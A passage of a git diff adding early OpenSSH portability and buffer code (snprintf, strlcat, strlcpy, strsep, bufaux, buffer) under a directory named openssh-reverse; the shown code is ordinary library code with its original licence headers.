padlen, strln; /* amount to pad */ + int cnt = 0; + + if (value == 0) + { + value = ""; + } + + for (strln = 0; value[strln]; ++strln); /* strlen */ + padlen = min - strln; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justify */ + + while ((padlen > 0) && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --padlen; + ++cnt; + } + while (*value && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, *value++); + ++cnt; + } + while ((padlen < 0) && (cnt < max)) + { + dopr_outch (buffer, currlen, maxlen, ' '); + ++padlen; + ++cnt; + } +} + +/* Have to handle DP_F_NUM (ie 0x and 0 alternates) */ + +static void fmtint (char *buffer, size_t *currlen, size_t maxlen, + long value, int base, int min, int max, int flags) +{ + int signvalue = 0; + unsigned long uvalue; + char convert[20]; + int place = 0; + int spadlen = 0; /* amount to space pad */ + int zpadlen = 0; /* amount to zero pad */ + int caps = 0; + + if (max < 0) + max = 0; + + uvalue = value; + + if(!(flags & DP_F_UNSIGNED)) + { + if( value < 0 ) { + signvalue = '-'; + uvalue = -value; + } + else + if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else + if (flags & DP_F_SPACE) + signvalue = ' '; + } + + if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ + + do { + convert[place++] = + (caps? "0123456789ABCDEF":"0123456789abcdef") + [uvalue % (unsigned)base ]; + uvalue = (uvalue / (unsigned)base ); + } while(uvalue && (place < 20)); + if (place == 20) place--; + convert[place] = 0; + + zpadlen = max - place; + spadlen = min - MAX (max, place) - (signvalue ? 1 : 0); + if (zpadlen < 0) zpadlen = 0; + if (spadlen < 0) spadlen = 0; + if (flags & DP_F_ZERO) + { + zpadlen = MAX(zpadlen, spadlen); + spadlen = 0; + } + if (flags & DP_F_MINUS) + spadlen = -spadlen; /* Left Justifty */ + +#ifdef DEBUG_SNPRINTF + dprint (1, (debugfile, "zpad: %d, spad: %d, min: %d, max: %d, place: %d\n", + zpadlen, spadlen, min, max, place)); +#endif + + /* Spaces */ + while (spadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --spadlen; + } + + /* Sign */ + if (signvalue) + dopr_outch (buffer, currlen, maxlen, signvalue); + + /* Zeros */ + if (zpadlen > 0) + { + while (zpadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --zpadlen; + } + } + + /* Digits */ + while (place > 0) + dopr_outch (buffer, currlen, maxlen, convert[--place]); + + /* Left Justified spaces */ + while (spadlen < 0) { + dopr_outch (buffer, currlen, maxlen, ' '); + ++spadlen; + } +} + +static long double abs_val (long double value) +{ + long double result = value; + + if (value < 0) + result = -value; + + return result; +} + +static long double pow10 (int exp) +{ + long double result = 1; + + while (exp) + { + result *= 10; + exp--; + } + + return result; +} + +static long round (long double value) +{ + long intpart; + + intpart = value; + value = value - intpart; + if (value >= 0.5) + intpart++; + + return intpart; +} + +static void fmtfp (char *buffer, size_t *currlen, size_t maxlen, + long double fvalue, int min, int max, int flags) +{ + int signvalue = 0; + long double ufvalue; + char iconvert[20]; + char fconvert[20]; + int iplace = 0; + int fplace = 0; + int padlen = 0; /* amount to pad */ + int zpadlen = 0; + int caps = 0; + long intpart; + long fracpart; + + /* + * AIX manpage says the default is 0, but Solaris says the default + * is 6, and sprintf on AIX defaults to 6 + */ + if (max < 0) + max = 6; + + ufvalue = abs_val (fvalue); + + if (fvalue < 0) + signvalue = '-'; + else + if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else + if (flags & DP_F_SPACE) + signvalue = ' '; + +#if 0 + if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ +#endif + + intpart = ufvalue; + + /* + * Sorry, we only support 9 digits past the decimal because of our + * conversion method + */ + if (max > 9) + max = 9; + + /* We "cheat" by converting the fractional part to integer by + * multiplying by a factor of 10 + */ + fracpart = round ((pow10 (max)) * (ufvalue - intpart)); + + if (fracpart >= pow10 (max)) + { + intpart++; + fracpart -= pow10 (max); + } + +#ifdef DEBUG_SNPRINTF + dprint (1, (debugfile, "fmtfp: %f =? %d.%d\n", fvalue, intpart, fracpart)); +#endif + + /* Convert integer part */ + do { + iconvert[iplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[intpart % 10]; + intpart = (intpart / 10); + } while(intpart && (iplace < 20)); + if (iplace == 20) iplace--; + iconvert[iplace] = 0; + + /* Convert fractional part */ + do { + fconvert[fplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[fracpart % 10]; + fracpart = (fracpart / 10); + } while(fracpart && (fplace < 20)); + if (fplace == 20) fplace--; + fconvert[fplace] = 0; + + /* -1 for decimal point, another -1 if we are printing a sign */ + padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0); + zpadlen = max - fplace; + if (zpadlen < 0) + zpadlen = 0; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justifty */ + + if ((flags & DP_F_ZERO) && (padlen > 0)) + { + if (signvalue) + { + dopr_outch (buffer, currlen, maxlen, signvalue); + --padlen; + signvalue = 0; + } + while (padlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --padlen; + } + } + while (padlen > 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + --padlen; + } + if (signvalue) + dopr_outch (buffer, currlen, maxlen, signvalue); + + while (iplace > 0) + dopr_outch (buffer, currlen, maxlen, iconvert[--iplace]); + + /* + * Decimal point. This should probably use locale to find the correct + * char to print out. + */ + dopr_outch (buffer, currlen, maxlen, '.'); + + while (fplace > 0) + dopr_outch (buffer, currlen, maxlen, fconvert[--fplace]); + + while (zpadlen > 0) + { + dopr_outch (buffer, currlen, maxlen, '0'); + --zpadlen; + } + + while (padlen < 0) + { + dopr_outch (buffer, currlen, maxlen, ' '); + ++padlen; + } +} + +static void dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c) +{ + if (*currlen < maxlen) + buffer[(*currlen)++] = c; +} +#endif /* !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) */ + +#ifndef HAVE_VSNPRINTF +int vsnprintf (char *str, size_t count, const char *fmt, va_list args) +{ + str[0] = 0; + dopr(str, count, fmt, args); + return(strlen(str)); +} +#endif /* !HAVE_VSNPRINTF */ + +#ifndef HAVE_SNPRINTF +/* VARARGS3 */ +#ifdef HAVE_STDARGS +int snprintf (char *str,size_t count,const char *fmt,...) +#else +int snprintf (va_alist) va_dcl +#endif +{ +#ifndef HAVE_STDARGS + char *str; + size_t count; + char *fmt; +#endif + VA_LOCAL_DECL; + + VA_START (fmt); + VA_SHIFT (str, char *); + VA_SHIFT (count, size_t ); + VA_SHIFT (fmt, char *); + (void) vsnprintf(str, count, fmt, ap); + VA_END; + return(strlen(str)); +} + +#ifdef TEST_SNPRINTF +#ifndef LONG_STRING +#define LONG_STRING 1024 +#endif +int main (void) +{ + char buf1[LONG_STRING]; + char buf2[LONG_STRING]; + char *fp_fmt[] = { + "%-1.5f", + "%1.5f", + "%123.9f", + "%10.5f", + "% 10.5f", + "%+22.9f", + "%+4.9f", + "%01.3f", + "%4f", + "%3.1f", + "%3.2f", + NULL + }; + double fp_nums[] = { -1.5, 134.21, 91340.2, 341.1234, 0203.9, 0.96, 0.996, + 0.9996, 1.996, 4.136, 0}; + char *int_fmt[] = { + "%-1.5d", + "%1.5d", + "%123.9d", + "%5.5d", + "%10.5d", + "% 10.5d", + "%+22.33d", + "%01.3d", + "%4d", + NULL + }; + long int_nums[] = { -1, 134, 91340, 341, 0203, 0}; + int x, y; + int fail = 0; + int num = 0; + + printf ("Testing snprintf format codes against system sprintf...\n"); + + for (x = 0; fp_fmt[x] != NULL ; x++) + for (y = 0; fp_nums[y] != 0 ; y++) + { + snprintf (buf1, sizeof (buf1), fp_fmt[x], fp_nums[y]); + sprintf (buf2, fp_fmt[x], fp_nums[y]); + if (strcmp (buf1, buf2)) + { + printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n", + fp_fmt[x], buf1, buf2); + fail++; + } + num++; + } + + for (x = 0; int_fmt[x] != NULL ; x++) + for (y = 0; int_nums[y] != 0 ; y++) + { + snprintf (buf1, sizeof (buf1), int_fmt[x], int_nums[y]); + sprintf (buf2, int_fmt[x], int_nums[y]); + if (strcmp (buf1, buf2)) + { + printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n", + int_fmt[x], buf1, buf2); + fail++; + } + num++; + } + printf ("%d tests failed out of %d.\n", fail, num); +} +#endif /* SNPRINTF_TEST */ + +#endif /* !HAVE_SNPRINTF */ diff --git a/other/openssh-reverse/bsd-snprintf.h b/other/openssh-reverse/bsd-snprintf.h new file mode 100644 index 0000000..ed7a21c --- /dev/null +++ b/other/openssh-reverse/bsd-snprintf.h @@ -0,0 +1,17 @@ +#ifndef _BSD_SNPRINTF_H +#define _BSD_SNPRINTF_H + +#include "config.h" + +#include /* For size_t */ + +#ifndef HAVE_SNPRINTF +int snprintf(char *str, size_t count, const char *fmt, ...); +#endif /* !HAVE_SNPRINTF */ + +#ifndef HAVE_VSNPRINTF +int vsnprintf(char *str, size_t count, const char *fmt, va_list args); +#endif /* !HAVE_SNPRINTF */ + + +#endif /* _BSD_SNPRINTF_H */ diff --git a/other/openssh-reverse/bsd-strlcat.c b/other/openssh-reverse/bsd-strlcat.c new file mode 100644 index 0000000..10ad9e7 --- /dev/null +++ b/other/openssh-reverse/bsd-strlcat.c @@ -0,0 +1,76 @@ +/* $OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCAT + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Appends src to string dst of size siz (unlike strncat, siz is the + * full size of dst, not space left). At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcat(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + size_t dlen; + + /* Find the end of dst and adjust bytes left but don't go past end */ + while (*d != '\0' && n-- != 0) + d++; + dlen = d - dst; + n = siz - dlen; + + if (n == 0) + return(dlen + strlen(s)); + while (*s != '\0') { + if (n != 1) { + *d++ = *s; + n--; + } + s++; + } + *d = '\0'; + + return(dlen + (s - src)); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCAT */ diff --git a/other/openssh-reverse/bsd-strlcat.h b/other/openssh-reverse/bsd-strlcat.h new file mode 100644 index 0000000..562dc70 --- /dev/null +++ b/other/openssh-reverse/bsd-strlcat.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRLCAT_H +#define _BSD_STRLCAT_H + +#include "config.h" +#ifndef HAVE_STRLCAT +#include +size_t strlcat(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCAT */ + +#endif /* _BSD_STRLCAT_H */ diff --git a/other/openssh-reverse/bsd-strlcpy.c b/other/openssh-reverse/bsd-strlcpy.c new file mode 100644 index 0000000..276c25c --- /dev/null +++ b/other/openssh-reverse/bsd-strlcpy.c @@ -0,0 +1,73 @@ +/* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" +#ifndef HAVE_STRLCPY + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +/* + * Copy src to string dst of size siz. At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcpy(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + + /* Copy as many bytes as will fit */ + if (n != 0 && --n != 0) { + do { + if ((*d++ = *s++) == 0) + break; + } while (--n != 0); + } + + /* Not enough room in dst, add NUL and traverse rest of src */ + if (n == 0) { + if (siz != 0) + *d = '\0'; /* NUL-terminate dst */ + while (*s++) + ; + } + + return(s - src - 1); /* count does not include NUL */ +} + +#endif /* !HAVE_STRLCPY */ diff --git a/other/openssh-reverse/bsd-strlcpy.h b/other/openssh-reverse/bsd-strlcpy.h new file mode 100644 index 0000000..dafa44a --- /dev/null +++ b/other/openssh-reverse/bsd-strlcpy.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRLCPY_H +#define _BSD_STRLCPY_H + +#include "config.h" +#ifndef HAVE_STRLCPY +#include +size_t strlcpy(char *dst, const char *src, size_t siz); +#endif /* !HAVE_STRLCPY */ + +#endif /* _BSD_STRLCPY_H */ diff --git a/other/openssh-reverse/bsd-strsep.c b/other/openssh-reverse/bsd-strsep.c new file mode 100644 index 0000000..c03649c --- /dev/null +++ b/other/openssh-reverse/bsd-strsep.c @@ -0,0 +1,89 @@ +/* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ + +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#if !defined(HAVE_STRSEP) + +#include +#include + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)strsep.c 8.1 (Berkeley) 6/4/93"; +#else +static char *rcsid = "$OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +/* + * Get next token from string *stringp, where tokens are possibly-empty + * strings separated by characters from delim. + * + * Writes NULs into the string at *stringp to end tokens. + * delim need not remain constant from call to call. + * On return, *stringp points past the last NUL written (if there might + * be further tokens), or is NULL (if there are definitely no more tokens). + * + * If *stringp is NULL, strsep returns NULL. + */ +char * +strsep(char **stringp, const char *delim) +{ + register char *s; + register const char *spanp; + register int c, sc; + char *tok; + + if ((s = *stringp) == NULL) + return (NULL); + for (tok = s;;) { + c = *s++; + spanp = delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *stringp = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +#endif /* !defined(HAVE_STRSEP) */ diff --git a/other/openssh-reverse/bsd-strsep.h b/other/openssh-reverse/bsd-strsep.h new file mode 100644 index 0000000..d5ba6e0 --- /dev/null +++ b/other/openssh-reverse/bsd-strsep.h @@ -0,0 +1,10 @@ +#ifndef _BSD_STRSEP_H +#define _BSD_STRSEP_H + +#include "config.h" + +#ifndef HAVE_STRSEP +char *strsep(char **stringp, const char *delim); +#endif /* HAVE_STRSEP */ + +#endif /* _BSD_STRSEP_H */ diff --git a/other/openssh-reverse/bufaux.c b/other/openssh-reverse/bufaux.c new file mode 100644 index 0000000..ecf529f --- /dev/null +++ b/other/openssh-reverse/bufaux.c @@ -0,0 +1,209 @@ +/* + * + * bufaux.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 02:24:47 1995 ylo + * + * Auxiliary functions for storing and retrieving various data types to/from + * Buffers. + * + * SSH2 packet format added by Markus Friedl + * + */ + +#include "includes.h" +RCSID("$OpenBSD: bufaux.c,v 1.12 2000/06/20 01:39:39 markus Exp $"); + +#include "ssh.h" +#include +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void +buffer_put_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits = BN_num_bits(value); + int bin_size = (bits + 7) / 8; + char unsigned *buf = xmalloc(bin_size); + int oi; + char msg[2]; + + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf); + if (oi != bin_size) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bin_size); + + /* Store the number of bits in the buffer in two bytes, msb first. */ + PUT_16BIT(msg, bits); + buffer_append(buffer, msg, 2); + /* Store the binary data. */ + buffer_append(buffer, (char *)buf, oi); + + memset(buf, 0, bin_size); + xfree(buf); +} + +/* + * Retrieves an BIGNUM from the buffer. + */ +int +buffer_get_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits, bytes; + unsigned char buf[2], *bin; + + /* Get the number for bits. */ + buffer_get(buffer, (char *) buf, 2); + bits = GET_16BIT(buf); + /* Compute the number of binary bytes that follow. */ + bytes = (bits + 7) / 8; + if (buffer_len(buffer) < bytes) + fatal("buffer_get_bignum: input buffer too small"); + bin = (unsigned char*) buffer_ptr(buffer); + BN_bin2bn(bin, bytes, value); + buffer_consume(buffer, bytes); + + return 2 + bytes; +} + +/* + * Stores an BIGNUM in the buffer in SSH2 format. + */ +void +buffer_put_bignum2(Buffer *buffer, BIGNUM *value) +{ + int bytes = BN_num_bytes(value) + 1; + unsigned char *buf = xmalloc(bytes); + int oi; + int hasnohigh = 0; + buf[0] = '\0'; + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf+1); + if (oi != bytes-1) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bytes); + hasnohigh = (buf[1] & 0x80) ? 0 : 1; + if (value->neg) { + /**XXX should be two's-complement */ + int i, carry; + unsigned char *uc = buf; + log("negativ!"); + for(i = bytes-1, carry = 1; i>=0; i--) { + uc[i] ^= 0xff; + if(carry) + carry = !++uc[i]; + } + } + buffer_put_string(buffer, buf+hasnohigh, bytes-hasnohigh); + memset(buf, 0, bytes); + xfree(buf); +} + +int +buffer_get_bignum2(Buffer *buffer, BIGNUM *value) +{ + /**XXX should be two's-complement */ + int len; + unsigned char *bin = (unsigned char *)buffer_get_string(buffer, (unsigned int *)&len); + BN_bin2bn(bin, len, value); + xfree(bin); + return len; +} + +/* + * Returns an integer from the buffer (4 bytes, msb first). + */ +unsigned int +buffer_get_int(Buffer *buffer) +{ + unsigned char buf[4]; + buffer_get(buffer, (char *) buf, 4); + return GET_32BIT(buf); +} + +/* + * Stores an integer in the buffer in 4 bytes, msb first. + */ +void +buffer_put_int(Buffer *buffer, unsigned int value) +{ + char buf[4]; + PUT_32BIT(buf, value); + buffer_append(buffer, buf, 4); +} + +/* + * Returns an arbitrary binary string from the buffer. The string cannot + * be longer than 256k. The returned value points to memory allocated + * with xmalloc; it is the responsibility of the calling function to free + * the data. If length_ptr is non-NULL, the length of the returned data + * will be stored there. A null character will be automatically appended + * to the returned string, and is not counted in length. + */ +char * +buffer_get_string(Buffer *buffer, unsigned int *length_ptr) +{ + unsigned int len; + char *value; + /* Get the length. */ + len = buffer_get_int(buffer); + if (len > 256 * 1024) + fatal("Received packet with bad string length %d", len); + /* Allocate space for the string. Add one byte for a null character. */ + value = xmalloc(len + 1); + /* Get the string. */ + buffer_get(buffer, value, len); + /* Append a null character to make processing easier. */ + value[len] = 0; + /* Optionally return the length of the string. */ + if (length_ptr) + *length_ptr = len; + return value; +} + +/* + * Stores and arbitrary binary string in the buffer. + */ +void +buffer_put_string(Buffer *buffer, const void *buf, unsigned int len) +{ + buffer_put_int(buffer, len); + buffer_append(buffer, buf, len); +} +void +buffer_put_cstring(Buffer *buffer, const char *s) +{ + buffer_put_string(buffer, s, strlen(s)); +} + +/* + * Returns a character from the buffer (0 - 255). + */ +int +buffer_get_char(Buffer *buffer) +{ + char ch; + buffer_get(buffer, &ch, 1); + return (unsigned char) ch; +} + +/* + * Stores a character in the buffer. + */ +void +buffer_put_char(Buffer *buffer, int value) +{ + char ch = value; + buffer_append(buffer, &ch, 1); +} diff --git a/other/openssh-reverse/bufaux.h b/other/openssh-reverse/bufaux.h new file mode 100644 index 0000000..42df463 --- /dev/null +++ b/other/openssh-reverse/bufaux.h @@ -0,0 +1,58 @@ +/* + * + * bufaux.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 02:18:23 1995 ylo + * + */ + +/* RCSID("$OpenBSD: bufaux.h,v 1.7 2000/06/20 01:39:39 markus Exp $"); */ + +#ifndef BUFAUX_H +#define BUFAUX_H + +#include "buffer.h" + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void buffer_put_bignum(Buffer * buffer, BIGNUM * value); +void buffer_put_bignum2(Buffer * buffer, BIGNUM * value); + +/* Retrieves an BIGNUM from the buffer. */ +int buffer_get_bignum(Buffer * buffer, BIGNUM * value); +int buffer_get_bignum2(Buffer *buffer, BIGNUM * value); + +/* Returns an integer from the buffer (4 bytes, msb first). */ +unsigned int buffer_get_int(Buffer * buffer); + +/* Stores an integer in the buffer in 4 bytes, msb first. */ +void buffer_put_int(Buffer * buffer, unsigned int value); + +/* Returns a character from the buffer (0 - 255). */ +int buffer_get_char(Buffer * buffer); + +/* Stores a character in the buffer. */ +void buffer_put_char(Buffer * buffer, int value); + +/* + * Returns an arbitrary binary string from the buffer. The string cannot be + * longer than 256k. The returned value points to memory allocated with + * xmalloc; it is the responsibility of the calling function to free the + * data. If length_ptr is non-NULL, the length of the returned data will be + * stored there. A null character will be automatically appended to the + * returned string, and is not counted in length. + */ +char *buffer_get_string(Buffer * buffer, unsigned int *length_ptr); + +/* Stores and arbitrary binary string in the buffer. */ +void buffer_put_string(Buffer * buffer, const void *buf, unsigned int len); +void buffer_put_cstring(Buffer *buffer, const char *s); + +#endif /* BUFAUX_H */ diff --git a/other/openssh-reverse/buffer.c b/other/openssh-reverse/buffer.c new file mode 100644 index 0000000..468d2a0 --- /dev/null +++ b/other/openssh-reverse/buffer.c @@ -0,0 +1,162 @@ +/* + * + * buffer.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 04:15:33 1995 ylo + * + * Functions for manipulating fifo buffers (that can grow if needed). + * + */ + +#include "includes.h" +RCSID("$OpenBSD: buffer.c,v 1.7 2000/06/20 01:39:39 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "ssh.h" + +/* Initializes the buffer structure. */ + +void +buffer_init(Buffer *buffer) +{ + buffer->alloc = 4096; + buffer->buf = xmalloc(buffer->alloc); + memset(buffer->buf, 0, 4096); + buffer->offset = 0; + buffer->end = 0; +} + +/* Frees any memory used for the buffer. */ + +void +buffer_free(Buffer *buffer) +{ + memset(buffer->buf, 0, buffer->alloc); + xfree(buffer->buf); +} + +/* + * Clears any data from the buffer, making it empty. This does not actually + * zero the memory. + */ + +void +buffer_clear(Buffer *buffer) +{ + buffer->offset = 0; + buffer->end = 0; +} + +/* Appends data to the buffer, expanding it if necessary. */ + +void +buffer_append(Buffer *buffer, const char *data, unsigned int len) +{ + char *cp; + buffer_append_space(buffer, &cp, len); + memcpy(cp, data, len); +} + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ + +void +buffer_append_space(Buffer *buffer, char **datap, unsigned int len) +{ + /* If the buffer is empty, start using it from the beginning. */ + if (buffer->offset == buffer->end) { + buffer->offset = 0; + buffer->end = 0; + } +restart: + /* If there is enough space to store all data, store it now. */ + if (buffer->end + len < buffer->alloc) { + *datap = buffer->buf + buffer->end; + buffer->end += len; + return; + } + /* + * If the buffer is quite empty, but all data is at the end, move the + * data to the beginning and retry. + */ + if (buffer->offset > buffer->alloc / 2) { + memmove(buffer->buf, buffer->buf + buffer->offset, + buffer->end - buffer->offset); + buffer->end -= buffer->offset; + buffer->offset = 0; + goto restart; + } + /* Increase the size of the buffer and retry. */ + buffer->alloc += len + 32768; + buffer->buf = xrealloc(buffer->buf, buffer->alloc); + goto restart; +} + +/* Returns the number of bytes of data in the buffer. */ + +unsigned int +buffer_len(Buffer *buffer) +{ + return buffer->end - buffer->offset; +} + +/* Gets data from the beginning of the buffer. */ + +void +buffer_get(Buffer *buffer, char *buf, unsigned int len) +{ + if (len > buffer->end - buffer->offset) + fatal("buffer_get: trying to get more bytes than in buffer"); + memcpy(buf, buffer->buf + buffer->offset, len); + buffer->offset += len; +} + +/* Consumes the given number of bytes from the beginning of the buffer. */ + +void +buffer_consume(Buffer *buffer, unsigned int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume: trying to get more bytes than in buffer"); + buffer->offset += bytes; +} + +/* Consumes the given number of bytes from the end of the buffer. */ + +void +buffer_consume_end(Buffer *buffer, unsigned int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume_end: trying to get more bytes than in buffer"); + buffer->end -= bytes; +} + +/* Returns a pointer to the first used byte in the buffer. */ + +char * +buffer_ptr(Buffer *buffer) +{ + return buffer->buf + buffer->offset; +} + +/* Dumps the contents of the buffer to stderr. */ + +void +buffer_dump(Buffer *buffer) +{ + int i; + unsigned char *ucp = (unsigned char *) buffer->buf; + + for (i = buffer->offset; i < buffer->end; i++) + fprintf(stderr, " %02x", ucp[i]); + fprintf(stderr, "\n"); +} diff --git a/other/openssh-reverse/buffer.h b/other/openssh-reverse/buffer.h new file mode 100644 index 